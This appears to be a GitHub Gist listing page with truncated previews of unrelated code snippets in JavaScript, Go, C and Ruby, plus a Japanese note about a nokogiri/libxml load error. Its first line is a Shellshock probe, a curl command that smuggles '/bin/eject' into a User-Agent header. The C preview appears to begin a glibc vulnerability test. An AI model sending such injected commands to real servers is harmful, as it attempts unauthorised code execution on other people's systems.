$ curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Use Gists to store code you would like to remember later on | |
console.log(window); // log the "window" object to the console |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
) | |
type Parent struct{} | |
type Child struct { | |
*Parent | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <netdb.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <errno.h> | |
#define CANARY "in_the_coal_mine" | |
struct { | |
char buffer[1024]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
HOGE = 'hoge' | |
{"#{HOGE}": { foo: 'foo', bar: 'bar' }} | |
#=> {:hoge=>{:foo=>"foo", :bar=>"bar"}} |
nokogiriのバージョンがちょっと異なり、libxmlの共有ライブラリが見つからなくて落ちる。 xml4r/libxml-ruby#70
うんちくとかどうでもいい人は以下で解決します。